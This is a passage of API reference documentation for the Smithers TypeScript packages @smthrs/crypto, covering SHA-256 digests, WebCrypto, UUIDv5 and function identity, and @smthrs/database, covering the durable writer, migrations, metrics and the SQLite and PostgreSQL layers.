`digest` returns it in the Effect error channel; `digestSync` throws it; the
`Sha256` schema carries it as an issue annotation.

### Sha256ErrorCode

```ts
const Sha256ErrorCode: Schema.Literals<
  ["invalid_input", "invalid_text", "text_encoding_failed", "digest_failed", "invalid_digest"]
>
type Sha256ErrorCode = typeof Sha256ErrorCode.Type
```

| Code                   | Raised by              | Meaning                                                                    |
| ---------------------- | ---------------------- | -------------------------------------------------------------------------- |
| `invalid_input`        | `digest`, `digestSync` | The input is neither a string nor a copyable `Uint8Array`.                 |
| `invalid_text`         | `digest`, `digestSync` | The string contains an unpaired UTF-16 surrogate.                          |
| `text_encoding_failed` | `digest`, `digestSync` | The host `TextEncoder` threw.                                              |
| `digest_failed`        | `digest`               | The injected host failed, threw, died, or returned a non-Effect operation. |
| `invalid_digest`       | `digest`               | The host result is not a copyable 32-byte array.                           |

A missing `Crypto` service is deliberately not a member. It remains an
unsatisfied Effect context requirement, and therefore a configuration defect,
distinct from a provided host failing an operation.

Values rejected by `Digest`, and values the `Sha256` input schema does not
accept, are ordinary `SchemaError` validation failures rather than
`Sha256Error`.

## Services

### syncCrypto

```ts
const syncCrypto: Crypto.Crypto
```

A synchronous, SHA-256-only Effect `Crypto` service backed by the same
package-owned implementation as `digestSync`. It exists for synchronous code
that already consumes a `Crypto` service, and for tests that want real hashing
with no platform layer.

- `digest("SHA-256", input)` snapshots the input and returns the 32 raw bytes.
- Every other algorithm fails with a `PlatformError.badArgument` whose
  description is `syncCrypto supports only SHA-256, not <algorithm>`, with
  `module: "@smthrs/crypto"` and `method: "digest"`.
- An input whose buffer cannot be copied fails with a `badArgument` described
  as `syncCrypto could not snapshot SHA-256 input`, with the original
  `TypeError` as `cause`.
- `randomBytes` throws a `PlatformError.badArgument` with
  `module: "@smthrs/crypto"` and `method: "randomBytes"`, described as
  `@smthrs/crypto syncCrypto provides SHA-256 only; supply a platform Crypto layer for randomness`.
  Because `Crypto.make` derives random numbers, UUIDs, and shuffling from
  `randomBytes`, every random operation fails the same way.

Normal application code should provide its platform `Crypto` layer, or
[`WebCrypto.layer`](#webcryptolayer), instead.

### WebCrypto.make

```ts
const make: () => Crypto.Crypto
```

Effect's `Crypto` over the global WebCrypto object, `globalThis.crypto`, which
Node, Bun, browsers, and Cloudflare Workers all provide. It is the one
WebCrypto-backed `Crypto` in Smithers: `@smthrs/platform-cloudflare`'s host
bundle and `@smthrs/platform-node`'s sandboxed-flow guest both provide it.

- `randomBytes(size)` fills any size, at most 65,536 bytes per
  `crypto.getRandomValues` call. That is the Web Crypto limit; one larger call
  throws `QuotaExceededError`. Effect derives random numbers, UUIDs, ULIDs, and
  shuffling from it.
- `digest(algorithm, data)` copies `data` and calls `crypto.subtle.digest`. A
  rejection fails with a `PlatformError` whose reason is `Unknown`, with
  `module: "Crypto"`, `method: "digest"`, the description
  `WebCrypto could not compute <algorithm>`, and WebCrypto's own error as
  `cause`.
- Randomness is read only when a caller asks for it, never while the module
  evaluates or while `make` builds the service. Cloudflare refuses to deploy a
  script that calls `crypto.getRandomValues` at module scope (upload error
  10021).

### WebCrypto.layer

```ts
const layer: Layer.Layer<Crypto.Crypto>
```

[`WebCrypto.make()`](#webcryptomake) as a layer.

```ts
import { digest, WebCrypto } from "@smthrs/crypto"
import { Effect } from "effect"

const address = await Effect.runPromise(digest("hello").pipe(Effect.provide(WebCrypto.layer)))
```

## Name-based UUIDs

### Uuid.v5

```ts
const v5: (namespace: string, name: string) => Effect.Effect<string, PlatformError, Crypto.Crypto>
```

The RFC 9562 version 5 UUID of `name` in `namespace`, in lowercase: SHA-1 of
the namespace's 16 bytes and the name's UTF-8 bytes, cut to 16 bytes, with the
version and variant bits set. The same namespace and name give the same UUID on
every host, so a device offline and a server agree on an id with no round trip.
It digests through the injected `Crypto` (provide `WebCrypto.layer`). A
namespace that isn't a UUID is a defect. A name-based UUID identifies; it is
never a secret.

### Uuid.isUuid

```ts
const isUuid: (value: string) => boolean
```

Whether `value` is a UUID in canonical hyphenated form, in either case.

## Input and memory policy

Text must be well-formed UTF-16. Unpaired surrogates are rejected before the
standard `TextEncoder` converts text to UTF-8, which is what stops two
different malformed strings from colliding on the digest of a replacement
character. `TextEncoder` is a host prerequisite rather than an injected
service: Node, Bun, and modern browser targets provide it as a global.

No Unicode normalization is performed, so NFC and NFD text remain distinct
inputs. Normalize before calling if your protocol needs canonically equivalent
text to share a digest.

`digest` copies byte input when its Effect begins and before the host is
called; `digestSync` copies during the call. Host output is copied and must
contain exactly 32 bytes. `Buffer` is a `Uint8Array` and is accepted; other
buffer and view types are not. The API is one-shot and requires the complete
input plus its snapshot in memory. There is no incremental or streaming entry
point, and nothing is zeroed after use.

Full detail is in [what a digest covers](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/crypto/docs/concepts/what-a-digest-covers.md),
and the guarantees these rules add up to, along with what they do not cover,
are in [the contract](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/crypto/docs/contract.md).

## Function identity

A digest of bytes identifies data. `Identity` digests a _function_: the plan-time
mapper, continuation, or predicate a node AST embeds but cannot serialize. It is
a separate module because its admission rules are about JavaScript values, not
about hashing, and because every node model in Smithers has to embed the same
one.

```ts
import { Identity } from "@smthrs/crypto"
// or
import * as Identity from "@smthrs/crypto/Identity"
```

### Identity.functionIdentity

```ts
const functionIdentity: (operation: unknown) => Identity.FunctionIdentity
```

Digests a function's exact source as UTF-8 with SHA-256. Exact source matters:
whitespace inside a string literal is behavior, so normalizing before hashing
could make two different functions share an identity.

- Returns `{ _tag: "FunctionIdentity", algorithm, digest, resumeDigest }`,
  where both digests are 64 lowercase hexadecimal characters.
- `algorithm` is `sha256-source-captures/v5` when the operation was declared
  with [`Identity.capture`](#identitycapture), and `sha256-source-ephemeral/v4`
  otherwise. An undeclared closure folds in process-local, per-function
  entropy, because JavaScript cannot inspect what a closure captured and
  source-only identity would permit an incorrect cache hit.
- `resumeDigest` is what a durable resume compares, never a cache identity.
  It digests the source with every binding renamed by the order it is
  declared in, then the declared captures, with no entropy. A minifier renames
  a callback's bindings whenever unrelated code in its bundle changes, and
  `resumeDigest` stays the same; any other edit, a swap of two parameters' or
  two locals' uses included, changes it. It cannot tell which outer binding a
  name reads beyond the pattern of its reads: `() => f(a, b)` and
  `() => f(b, a)` share it when `a` and `b` are declared outside the function.
  A native or bound function has none.
- **Throws** `TypeError("function identity requires a function")` for anything
  that is not a function.

### Identity.capture

```ts
const capture: <C extends Readonly<Record<string, unknown>>, Args extends ReadonlyArray<unknown>, A>(
  captures: C,
  operation: (this: Readonly<C>, ...args: Args) => A
) => (...args: Args) => A
```

Declares the inert values a function closes over, which is what earns it a
deterministic identity. A deeply frozen plain copy of `captures` is
canonicalized into the identity and bound as the callback's `this` receiver, so
use a function expression to read it; ordinary arguments keep their positions.

- Caller objects are left unchanged, and a mutable lexical alias must not
  supply semantic state: only the owned frozen copy enters identity.
- Sealed, non-extensible, frozen, and Immer-style ordinary data are all
  supported, and shared references stay shared in the copy. The identity
  records this sharing: equal separate objects differ from shared references.
- Admission walks original descriptors once and never evaluates a getter.
  Built-in brands, non-plain prototypes, accessors, non-enumerable members,
  symbol keys, cycles, non-finite numbers, and nesting beyond 256 levels are
  refused with a `TypeError` naming the path.
- Object capture requires `structuredClone`, which is how a Proxy is refused.
  A host without it refuses every object capture.
- Capturing an already-captured function keeps the inner source and folds both
  capture sets into one identity.
- An operation whose source is a native body, such as a bound function, a
  built-in, or a function Proxy (`function () { [native code] }`), is refused
  with a `TypeError`: that text names no behavior, so two different functions
  would share one digest. Capture the unbound function and declare the
  receiver's values as captures instead.

### Identity.processNonce

```ts
const processNonce: () => string
```

The process-local nonce every ephemeral identity folds in, as 32 lowercase
hexadecimal characters. It exists so a second ephemeral encoding, such as the
projection of an unregistered symbol, shares this process's value instead of
minting a second one. It is seeded lazily on first use: reading entropy while
the module evaluates is rejected by Cloudflare Workers with upload error 10021.

Separate copies of this module in one realm share the nonce, the ephemeral
ordinal, and the capture registry through a non-writable global. A copy refuses
to load, with a `TypeError`, when that global holds anything other than two
`WeakMap`s, a non-negative integer ordinal, and an unset or 32-hex nonce; it
reads the maps only through the intrinsic `WeakMap` methods. Code that runs
earlier in the realm and seeds a well-formed value cannot be detected.

### Identity.FunctionIdentity

```ts
interface FunctionIdentity {
  readonly _tag: "FunctionIdentity"
  readonly algorithm: Identity.Algorithm
  readonly digest: string
  readonly resumeDigest?: string | undefined
}
type Algorithm = "sha256-source-ephemeral/v4" | "sha256-source-captures/v5"
```

The serializable stand-in a node AST stores in place of the function itself. The
algorithm tag is versioned, so a change to identity semantics re-keys what is
derived from one rather than colliding with it.

## Requirements and platform

- Node.js 22.19.0 or later. The package also runs under Bun and in a browser:
  it imports no `node:` built-in.
- One runtime dependency, `effect`.
- `@smthrs/crypto/internal/*` and `@smthrs/crypto/*/index` are blocked in the
  export map. The handwritten implementation is reachable only through
  `digestSync` and `syncCrypto`.
- `Identity.capture` uses `structuredClone`, a global on Node.js 26, Bun, and
  modern browsers, and `Identity.processNonce` uses `crypto.getRandomValues`.
  `WebCrypto` uses the global `crypto` object. None of them is read while the
  module evaluates.

## Neighbouring packages

Canonical value serialization belongs to
[`@smthrs/canonical`](/docs/reference/api/canonical/). Domain-specific key formats belong to
[`@smthrs/keys`](/docs/reference/api/keys/). Content addressing over a digest belongs to
[`@smthrs/artifacts`](/docs/reference/api/artifacts/).

---

# @smthrs/database
https://smithers.sh/docs/reference/api/database/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/database/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/database/docs)

The root entry point bundles for browsers. It carries the PostgreSQL adapter,
whose `@effect/sql-pg` driver the caller injects. The SQLite drivers are
platform specific and live at explicit subpaths.

| Import                                       | Exports                                                                                                  |
| -------------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| `@smthrs/database`                           | `DurableWriter`, `Migrations`, `DatabaseMetrics`, `UnsupportedBackend`, `PostgresDatabase` as namespaces |
| `@smthrs/database/DurableWriter`             | the write boundary, its errors, and its layers                                                           |
| `@smthrs/database/Migrations`                | the migration composer                                                                                   |
| `@smthrs/database/DatabaseMetrics`           | the write-retry counter and the writer-lock wait timer                                                   |
| `@smthrs/database/UnsupportedBackend`        | the ignored connection-string names                                                                      |
| `@smthrs/database/Dialect`                   | SQL fragments that read the same on SQLite and PostgreSQL                                                |
| `@smthrs/database/node/NodeDatabase`         | Node only. The `node:sqlite` client layer                                                                |
| `@smthrs/database/bun/BunDatabase`           | Bun only. The `bun:sqlite` client layer                                                                  |
| `@smthrs/database/postgres/PostgresDatabase` | The same module as the root's `PostgresDatabase`; import it from the root                                |
| `@smthrs/database/test/TestDatabase`         | Node only. The isolated test client and writer, and fixture helpers                                      |

`@smthrs/database/internal/*` is blocked by the export map.

## Example

```ts
import * as DurableWriter from "@smthrs/database/DurableWriter"
import * as SqlClient from "effect/sql/SqlClient"

const insertNote = Effect.gen(function*() {
  const sql = yield* SqlClient.SqlClient
  const writer = yield* DurableWriter.DurableWriter
  yield* writer.write(sql`INSERT INTO notes (id, body) VALUES ('first', 'hello')`)
})
```

## DurableWriter

The write boundary shared by the durable stores, free of journal or host
knowledge. Queries go through Effect's `SqlClient` directly; only writes come
here.

### DurableWriter

```ts
class DurableWriter extends Context.Service<DurableWriter, Service>()("@smthrs/database/DurableWriter") {}
```

The service tag. `yield* DurableWriter.DurableWriter` resolves the writer.

### Service

```ts
interface Service {
  readonly write: <A, E, R>(
    effect: Effect.Effect<A, E, R>
  ) => Effect.Effect<A, Exclude<E, SqlError.SqlError> | DatabaseError, R>
}
```

`write` runs `effect` inside one transaction with transaction-scoped retries,
and widens the error channel with `DatabaseError`. Every `SqlError` in a failed
cause is normalized to a `DatabaseError` on the way out.

Two guarantees are contract rather than implementation detail:

- **Serialization.** Two concurrent `write` transactions are mutually
  serialized. They may not both commit results computed from snapshots that
  exclude each other's writes.
- **Acquisition.** Outermost writes sharing one writer queue for its permit
  before entering SQL, at the caller's own interruptibility. An interruptible
  caller cancelled or timed out while queued acquires nothing; a caller that
  masked interruption keeps waiting, so a finalizer's cleanup write still
  commits.
- **Nesting.** A `write` inside the client's open transaction joins it as a
  savepoint and does not retry. Only the outermost `write` retries, replaying
  the whole transaction body verbatim against committed state. Its
  classification follows `cause` chains, so a nested store's domain error that
  preserves `cause` still keeps the outermost transaction replaying.

See [the write boundary](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/concepts/write-boundary.md).

### afterCommit

```ts
const afterCommit: (update: Effect.Effect<void>, client?: SqlClient.SqlClient) => Effect.Effect<boolean>
```

Registers a short, non-failing process-local update inside a managed `write`.
The outermost successful commit runs it once, outside SQL retries. Failed
attempts and rolled-back savepoints discard their registrations. The update
runs uninterruptibly; it must not block or perform external deliveries.

`client` scopes the registration to that client's managed write. A store passes
its captured client, `DurableWriter.afterCommit(publish, sql)`, so an update
that belongs to one database cannot ride the commit of a nested write to
another one: the call answers `false` when the open scope belongs to a
different client. Omitting `client` accepts whichever managed write is open.

Returns `false` without running the update when the current transaction is not
owned by the writer, including raw SQL transactions/savepoints. Skip optional
cache publication in that case; never publish uncommitted data as a fallback.
See [commit ownership](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/concepts/write-boundary.md#process-local-state-follows-the-outer-commit).

### make

```ts
const make: (sql: SqlClient.SqlClient, options?: WriteRetryOptions | undefined) => Service
```

Builds the writer around an existing SQL client. Accepts any Effect
`SqlClient`, which is why the retry classification is dialect blind.

### layer

```ts
const layer: (options?: WriteRetryOptions | undefined) => Layer.Layer<DurableWriter, never, SqlClient.SqlClient>
```

Provides the writer over the context's SQL client. Compose it above a driver
layer with `Layer.provideMerge` so both services stay in the output.

### makeNoop

```ts
const makeNoop: () => Service
```

A writer stub whose every write fails with `DatabaseError` code `unsupported`.

### layerNoop

```ts
const layerNoop: Layer.Layer<DurableWriter>
```

Provides the unsupported writer stub.

### WriteRetryOptions

```ts
interface WriteRetryOptions {
  readonly maxAttempts?: number | undefined
  readonly baseDelayMs?: number | undefined
  readonly maxDelayMs?: number | undefined
}
```

| Field         | Default | Meaning                                                |
| ------------- | ------- | ------------------------------------------------------ |
| `maxAttempts` | `10`    | Total attempts, including the initial write.           |
| `baseDelayMs` | `50`    | Initial exponential backoff delay, in milliseconds.    |
| `maxDelayMs`  | `10000` | Upper bound for a single retry delay, in milliseconds. |

Jitter is applied before the cap, so `maxDelayMs` bounds the delay that is
actually slept. Any value that is not a safe integer of at least 1 clamps to 1.
Delays use Effect's `Clock`, so `TestClock` drives them.

### DatabaseErrorCode

```ts
const DatabaseErrorCode: Schema.Literals<["busy", "constraint", "io", "schema", "unsupported", "unknown"]>
type DatabaseErrorCode = typeof DatabaseErrorCode.Type
```

The stable failure categories this package exposes.

### DatabaseError

```ts
class DatabaseError extends Schema.TaggedError<DatabaseError>()("@smthrs/database/DatabaseError", {
  code: DatabaseErrorCode,
  cause: Schema.optional(Schema.Defect())
}) {}
```

A normalized database failure, suitable for consumers outside a driver. Narrow
it with `Schema.is(DatabaseError)` or catch it by its tag
`@smthrs/database/DatabaseError`.

| Code          | Meaning                                                                                |
| ------------- | -------------------------------------------------------------------------------------- |
| `busy`        | A transient lock or serialization conflict. The only category that is replayed.        |
| `constraint`  | A constraint or unique violation. Never replayed: it is the first-writer-wins signal.  |
| `io`          | An I/O failure. Normalized but never replayed, even when a busy cause sits beneath it. |
| `schema`      | A statement named a table or column the database lacks: a store older than the binary. |
| `unsupported` | The noop writer, or a raw result with no readable affected-row count.                  |
| `unknown`     | A SQL failure in none of the above categories.                                         |

### fromSqlError

```ts
const fromSqlError: (error: SqlError.SqlError) => DatabaseError
```

Converts an Effect SQL error into the stable vocabulary. The category comes
from the same classifier the retry decision reads, so the code a caller is told
and the decision to replay cannot disagree about one error.

Classification, in precedence order: a lock timeout is `busy`; a constraint or
unique violation is `constraint`; an I/O cause is `io`; a busy cause is `busy`;
a missing table or column is `schema`; anything else is `unknown`.

The busy vocabulary is `SQLITE_BUSY*`, `SQLITE_LOCKED*`, SQLSTATE `40001`,
`40P01`, `55P03`, and the texts `database is locked`, `database is busy`,
`could not serialize access`, `deadlock detected`, and
`cannot rollback - no transaction is active`. The I/O vocabulary is
`SQLITE_IOERR*` and the text `disk i/o error`. The schema vocabulary is
SQLSTATE `42P01`, `42703`, and the texts `no such table` and `no such column`.

### codeOf

```ts
const codeOf: (error: unknown) => DatabaseErrorCode | undefined
```

The code a failure carries, found by following `cause` chains through the
domain errors that wrap a structured SQL error or a normalized
`DatabaseError`, including one a store redacted to its code alone. `undefined`
when the chain has no SQL provenance.

### affectedRows

```ts
const affectedRows: (raw: unknown) => Effect.Effect<number, DatabaseError>
```

Reads how many rows a write statement affected from a driver's raw result,
which `SqlClient` exposes as `.raw`. Reads an own `changes` property (SQLite
drivers) or an own `rowCount` property (node-postgres).

A count is accepted as a non-negative safe integer, or as an exact `bigint` in
that range, which is what `node:sqlite` returns when `SqlClient.SafeIntegers`
is enabled. Only an own data property counts, so an inherited field is ignored
and an accessor is never executed.

Fails with code `unsupported` when neither field is readable. The failure's
`cause` carries the shape of the result and never its values: its type, up to
eight key names, and its length if it was an array.

See [Read a write's affected-row count](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/guides/count-affected-rows.md).

## Migrations

Composes per-package SQL migration sets over one migrations table.

### table

```ts
const table: "flows_migrations"
```

The single table every Smithers package records its applied migrations in. Its
presence is also what tells the Node driver that a file is a Smithers 1.0
database.

### idBlock

```ts
const idBlock: 1000
```

The spacing between the migration id blocks packages reserve with
`MigrationSet.idOffset`. A package may ship this many migrations before it
would reach its neighbour.

### MigrationSet

```ts
interface MigrationSet {
  readonly namespace: string
  readonly idOffset: number
  readonly migrations: Readonly<Record<string, Effect.Effect<void, unknown, SqlClient.SqlClient>>>
}
```

One package's migrations, namespaced so they cannot collide with another
package's.

| Field        | Meaning                                                                                                                                           |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------- |
| `namespace`  | Prefixes every migration name in the ledger. Unique among the sets composed together.                                                             |
| `idOffset`   | A non-negative safe integer multiple of `idBlock`, unique among the sets composed together. Lifts the set's local ids into the block it reserves. |
| `migrations` | Keyed `<localId>_<name>`, with the local id in `0..idBlock - 1`.                                                                                  |

### loader

```ts
const loader: (sets: ReadonlyArray<MigrationSet>) => Migrator.Loader<SqlClient.SqlClient>
```

Builds a `Migrator` loader from namespaced sets, resolved into one list ordered
by global migration id rather than by the order the sets were given.

The set list and each migration record are snapshotted when this function is
called, so later caller mutation cannot change a loader already returned.

It fails the migration, as a `Migrator.MigrationError` of kind `BadState`,
rather than returning a list the migrator would quietly mishandle:

| Rejected                             | Message                                                                                                        |
| ------------------------------------ | -------------------------------------------------------------------------------------------------------------- |
| Duplicate namespace                  | `Duplicate migration namespace: <namespace>`                                                                   |
| Duplicate offset                     | `Duplicate migration id offset <offset> for namespace <namespace>`                                             |
| Negative or fractional offset        | `... an id offset must be a non-negative integer`                                                              |
| Unsafe integer offset                | `... an id offset must be a safe integer in the range 0..<max>`                                                |
| Misaligned offset                    | `... an id offset must be a multiple of idBlock (1000)`                                                        |
| Malformed key                        | `Malformed migration key "<key>" in namespace <namespace>`                                                     |
| Local id at or above `idBlock`       | `Local migration id <id> ... is outside the block range 0..999 and would claim a neighbouring package's block` |
| Two keys realizing one id            | `Migration id <id> is claimed twice: <owner> and <claimant>`                                                   |
| A historical hole or new lower block | `Migration <id>_<name> would be skipped: the database has already applied migration id <highWater> ...`        |
| A recorded id/name mismatch          | `Migration <id> was recorded as <name>, but this package declares <otherName>`                                 |
| An unreadable ledger id              | `flows_migrations contains an invalid migration_id: <value>`                                                   |

On a fresh database the loader applies global id zero itself, inside the
migrator's transaction, because the migrator's high-water mark starts at zero
and would silently skip it. A caller wiring the loader into its own `Migrator`
therefore gets id zero applied. The loader also applies forward additions to
an installed package block below the global high-water mark. Each such block
must include a declaration matching an already recorded id and name. Earlier
holes, changed recorded names, and newly introduced lower blocks are refused.
All applications share the migrator transaction. The upstream migrator's
completed list omits loader-applied entries; use `run` to receive the complete
list.

### run

```ts
const run: (sets: ReadonlyArray<MigrationSet>) => Effect.Effect<
  ReadonlyArray<readonly [id: number, name: string]>,
  Migrator.MigrationError | SqlError,
  SqlClient.SqlClient
>
```

Runs every migration in the given sets that has not been applied yet, and
answers the `[id, name]` pairs it applied on this pass, including id zero and installed lower-block appends. A
pass with nothing to do answers an empty array.

The whole migrator pass, the `BEGIN IMMEDIATE`, the loader, and the pending
migrations, retries on the same transient-lock vocabulary the durable writer
uses, so two connections migrating one SQLite file serialize instead of failing
on the peer's write lock.

A failing migration takes the whole pass with it: the partial DDL and the
ledger rows roll back, and it surfaces as a `Failed` `MigrationError` on the
defect channel.

### layer

```ts
const layer: (sets: ReadonlyArray<MigrationSet>) => Layer.Layer<
  never,
  Migrator.MigrationError | SqlError,
  SqlClient.SqlClient
>
```

Runs the given migration sets before exposing the database to durable services.

See [the migration ladder](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/concepts/migration-ladder.md) and
[Add a migration](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/guides/add-a-migration.md).

## DatabaseMetrics

Metric definitions for the durable write boundary. This module defines handles
only. No exporter ships here: provide one, for example from
[`@smthrs/observability`](/docs/reference/api/observability/), and the metrics appear in it.

### writeRetries

```ts
const writeRetries: Metric.Counter<number>
```

Counter `flows_db_write_retries`, described as "Durable write transaction
replays after transient conflicts". Incremented once per scheduled retry of a
recognized transient conflict, across every store that writes through the
boundary. The attempt that finally fails past the retry budget is not counted:
it surfaces on the error channel instead.

### writerLockWait

```ts
const writerLockWait: Metric.Histogram<Duration.Duration>
```

Timer `flows_db_writer_lock_wait`, in milliseconds, described as "Time a
PostgreSQL durable write waited for its schema's writer lock". It measures from
the write's first attempt to holding the lock, across every wait that ran out
and every backoff between them. A writable `PostgresDatabase`
client records one observation per transaction it begins: each outermost
`DurableWriter.write` and each `withTransaction`. Read-only clients, statements
outside a transaction, and SQLite record nothing. Writes to one schema commit
one at a time, so a rising wait means that schema's write rate is at the lock's
ceiling; see [the writer lock](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/concepts/sqlite-only.md#the-writer-lock).

### connectionWait

```ts
const connectionWait: Metric.Histogram<Duration.Duration>
```

Timer `flows_db_connection_wait`, in milliseconds, described as "Time a
PostgreSQL statement or transaction waited for a pooled connection". A
`PostgresDatabase` client records one observation per connection it takes from
its pool, and a wait that runs past `acquireWarning` also logs
`postgres.connection.waiting` while it waits. A rising wait means the pool is
too small for the work sent through it, or the pooler in front of the server
grants no connection.

### loginFailures

```ts
const loginFailures: Metric.Counter<number>
```

Counter `flows_db_login_failures`, described as "PostgreSQL connections that
failed to open or log in". A `PostgresDatabase` client adds one for each
connection that was refused or timed out while opening (`ConnectionError`) or
whose login the server refused (`AuthenticationError`), and logs a
`postgres.login.failed` warning with the error's kind as `db.error`, and a
connection failure's driver text as `db.error.message`. A rising rate means
the server or a pooler in front of it is refusing clients, such as a compute
out of connections.

### writerLockTimeouts

```ts
const writerLockTimeouts: Metric.Counter<number>
```

Counter `flows_db_writer_lock_timeouts`, described as "PostgreSQL writer-lock
waits that reached the timeout and released their server connection". A
writable `PostgresDatabase` client adds one each time a write's wait for the
writer lock reaches its `writerLockTimeout`, rolls back and backs off. A quiet
system reads zero; a rising rate means more writers queue on one schema than
the timeout covers.

## UnsupportedBackend

Notices for unsupported legacy configuration names. This string-only module
is browser safe.

### ignoredNames

```ts
const ignoredNames: (environment: Readonly<Record<string, string | undefined>>) => ReadonlyArray<string>
```

Production ignores `SMITHERS_TEST_PG_URL` and legacy `SMITHERS_POSTGRES_*`
knobs other than `SMITHERS_POSTGRES_URL` and `SMITHERS_POSTGRES_SCHEMA`. Sorted, so an operator reading two runs
compares two identical lists. An exported-but-blank name counts as unset.

The separator is part of the prefix, so `SMITHERS_POSTGRESQL_URL`, a name
neither release reads, is not announced.

### ignoredNotice

```ts
const ignoredNotice: (name: string) => string
```

The one line an ignored name gets:

```text
ignored: SMITHERS_TEST_PG_URL has no effect in 1.0.0-rc.16 (use SMITHERS_POSTGRES_URL to select PostgreSQL)
```

It is a notice, not a refusal: it changes no exit code and no result.

## NodeDatabase

Node only. `import * as NodeDatabase from "@smthrs/database/node/NodeDatabase"`.

Defaults to `node:sqlite` through `@effect/sql-sqlite-node`; a configured
PostgreSQL URL selects `PostgresDatabase` instead. The write policy lives in `DurableWriter.layer`, composed on top.

### layer

```ts
const layer: (options: NodeDatabaseOptions) => Layer.Layer<SqlClient.SqlClient>
```

Provides the SQL client. WAL is enabled by the underlying client by default.

The error channel is `never` by design, so every durable package composes it
unchanged. A refused open is raised as a defect carrying `UnsupportedDatabase`,
and a lock during construction is retried on a fixed ladder of 40 attempts with
a 5 ms base delay capped at 250 ms. That ladder is not configurable: it bounds a
driver-internal race during layer construction, before any service exists to
configure.

### postgresLocation

```ts
const postgresLocation: (filename: string) => { readonly url: string; readonly schema: string } | undefined
```

Where `layer` would open `filename` on PostgreSQL: the connection URL without
its `schema` parameter, and the schema. It is `undefined` for a store SQLite
keeps, and it raises the same `UnsupportedDatabase` refusals `layer` does.
`postgres://…?schema=<schema>` opens that exact schema, so a caller that copies
a store into another schema addresses the copy by URL.

### NodeDatabaseOptions

```ts
interface NodeDatabaseOptions {
  readonly filename: string
  readonly mode?: number | undefined
  readonly busyTimeout?: Duration.Input | undefined
  readonly sqlite?: Omit<SqliteClient.SqliteClientConfig, "filename"> | undefined
  readonly readOnly?: boolean | undefined
}
```

| Field         | Meaning                                                                                                                                                                                                                                       |
| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `filename`    | The SQLite database filename. A `file:` URI is accepted, and `:memory:` opens a private in-memory database. The parent directory is not created.                                                                                              |
| `mode`        | Creation permissions for a new plain-path database, masked by the process umask. Defaults to `0o600`; WAL and SHM sidecars inherit the main file's mode. Existing files, `file:` URIs, temporary databases and read-only opens are unchanged. |
| `busyTimeout` | Synchronous SQLite lock wait. Defaults to `0` so open and durable-write retries wait cooperatively, and to one second for a read-only open. Overrides `sqlite.busyTimeout` when supplied.                                                     |
| `sqlite`      | Additional driver configuration. WAL remains enabled unless explicitly disabled. An explicit `sqlite.busyTimeout` is honored when `busyTimeout` is absent.                                                                                    |
| `readOnly`    | Opens an existing store for reading only. SQLite opens read-only without converting to WAL; PostgreSQL skips schema creation and runs every transaction `READ ONLY`. Nothing is created, migrated or locked for writing.                      |

### UnsupportedDatabaseCode

```ts
const UnsupportedDatabaseCode: Schema.Literals<[
  "unsupported_runtime",
  "unsupported_database_file",
  "database_locked",
  "postgres_url_missing",
  "postgres_url_invalid",
  "postgres_schema_invalid"
]>
type UnsupportedDatabaseCode = typeof UnsupportedDatabaseCode.Type
```

### UnsupportedDatabase

```ts
class UnsupportedDatabase extends Schema.TaggedError<UnsupportedDatabase>()(
  "@smthrs/database/UnsupportedDatabase",
  { code: UnsupportedDatabaseCode, message: Schema.String }
) {}
```

A refusal to open a durable database in 1.0.0-rc.16, raised as a defect rather
than a typed failure because neither refusal is recoverable at run time.
`NodeDatabase`, `BunDatabase` and `PostgresDatabase` re-export the same
constructor, code schema and refinement.

| Code                        | Refused when                                                       | Message                                                                                                        |
| --------------------------- | ------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------- |
| `unsupported_runtime`       | `process.versions.bun` is set                                      | `Use @smthrs/database/bun/BunDatabase under Bun; NodeDatabase requires Node.js >=22.19.0`                      |
| `unsupported_database_file` | the file has at least one table and no `flows_migrations` table    | `<path> is not a Smithers 1.0 database (1.0.0-rc.16 does not load a 0.x smithers.db)`                          |
| `database_locked`           | a peer held the file for the whole open ladder                     | `<path> could not be inspected because another process holds it`                                               |
| `postgres_url_missing`      | `SMITHERS_BACKEND=postgres` with no PostgreSQL URL set             | `PostgreSQL requires SMITHERS_POSTGRES_URL or DATABASE_URL`                                                    |
| `postgres_url_invalid`      | the selected URL is not a parseable `postgres://` URL              | `PostgreSQL configuration requires a postgres:// or postgresql:// URL`, or `Invalid PostgreSQL connection URL` |
| `postgres_schema_invalid`   | `PostgresDatabase.layer` gets an empty, NUL or over-63-byte schema | `PostgreSQL schema must contain 1 to 63 UTF-8 bytes and no NUL`                                                |

### isUnsupportedDatabase

```ts
const isUnsupportedDatabase: (input: unknown) => input is UnsupportedDatabase
```

Narrows an unknown defect to this driver's refusal. Use it in
`Effect.catchDefect` and re-raise anything else unchanged.

## BunDatabase

Bun only. `import * as BunDatabase from "@smthrs/database/bun/BunDatabase"`.

`layer(options: BunDatabaseOptions): Layer.Layer<SqlClient.SqlClient>` provides
a `bun:sqlite` client with the same schema guard, bounded open retries and
failed-commit recovery as NodeDatabase. As on Node, `.raw` on a write without
result columns returns `{ changes, lastInsertRowid }`, so `affectedRows` reads
its count; the upstream `@effect/sql-sqlite-bun` client returns `[]` there.
Options contain `filename`, optional
`sqlite` settings from that Bun driver, and `readOnly`, which behaves as on
NodeDatabase. A new plain-path database is created
with mode `0o600`, masked by the process umask, and its WAL and SHM sidecars
inherit that mode. Existing files, `file:` URIs, temporary databases and opens
whose settings disable creation are left to SQLite. Install its matching optional peer;
consumers using only Node do not need it. It re-exports the same
`UnsupportedDatabase` constructor and refinement as `NodeDatabase`.

## TestDatabase

Node only. `import * as TestDatabase from "@smthrs/database/test/TestDatabase"`.

### layer

```ts
const layer: Layer.Layer<DurableWriter.DurableWriter | SqlClient.SqlClient>
```

